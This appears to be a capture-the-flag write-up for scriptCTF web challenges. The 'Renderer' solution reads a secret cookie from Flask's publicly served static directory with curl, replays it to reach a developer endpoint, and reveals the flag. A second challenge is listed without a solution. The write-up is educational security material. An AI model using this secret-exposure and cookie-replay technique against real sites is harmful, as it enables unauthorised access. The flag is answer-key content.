# web

## Challenges

### Renderer

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2F8xf2VVRcqBctj4QC73tz%2Fimage.png?alt=media&#x26;token=1b259e6e-3b31-4bf1-b669-fc86e01eb044" alt=""><figcaption></figcaption></figure>

> Introducing Renderer! A free-to-use app to render your images!
>
> * [chall.zip](https://storage.googleapis.com/scriptctf_challenges/Web/Renderer/chall.zip)

```
 unzip -l chall.zip
Archive:  chall.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     1790  2025-07-21 08:39   app.py
        0  2025-07-18 10:31   templates/
      380  2025-07-18 10:31   templates/upload.html
      390  2025-07-18 10:49   templates/display.html
        0  2025-07-18 10:38   static/
        0  2025-07-21 08:37   static/uploads/
        0  2025-07-21 08:41   static/uploads/secrets/
        0  2025-07-21 08:41   static/uploads/secrets/secret_cookie.txt
       20  2025-07-21 08:42   flag.txt
---------                     -------
     2580                     9 files
```

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FAfrq2tEwsygCYj2mGfo2%2Fimage.png?alt=media&#x26;token=866e7c9d-f998-43ac-98f8-0a22a8935ca6" alt=""><figcaption></figcaption></figure>

Read a "secret" file that's stored in a directory that Flask automatically exposes via static file serving.&#x20;

1. Storing secrets in the static/ directory (which Flask serves publicly)
2. Not implementing proper access control

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong># Step 1: Trigger secret generation (this will fail but create the secret)
</strong>curl "http://play.scriptsorcerers.xyz:10188/developer"

# Step 2: IMMEDIATELY read the newly generated secret
SECRET=$(curl -s "http://play.scriptsorcerers.xyz:10188/static/uploads/secrets/secret_cookie.txt")

# Step 3: Use the secret before it gets regenerated
curl -H "Cookie: developer_secret_cookie=$SECRET" "http://play.scriptsorcerers.xyz:10188/developer"
</code></pre>

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FBTYBZUke6XKxMstF5PuE%2Fimage.png?alt=media&#x26;token=04435fca-10b0-43b3-8d8c-6bd526c55031" alt=""><figcaption></figcaption></figure>

* <mark style="color:blue;">`scriptCTF{my_c00k135_4r3_n0t_s4f3!_edd23d3198a4}`</mark>

### Wizard Gallery

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FCmsGAUmOOQ2ugzq33btS%2Fimage.png?alt=media&#x26;token=c0c92e28-56c7-4e45-b488-0d6e01f3d5a6" alt=""><figcaption></figcaption></figure>

> The council's top priority is to protect the flag, no matter the cost. Oh hey look, it's a photo gallery. What could go wrong?
>
> * [Wizard-Gallery.zip](https://storage.googleapis.com/scriptctf_challenges/Web/Wizard-Gallery/Wizard-Gallery.zip)

{% hint style="info" %}
breh
{% endhint %}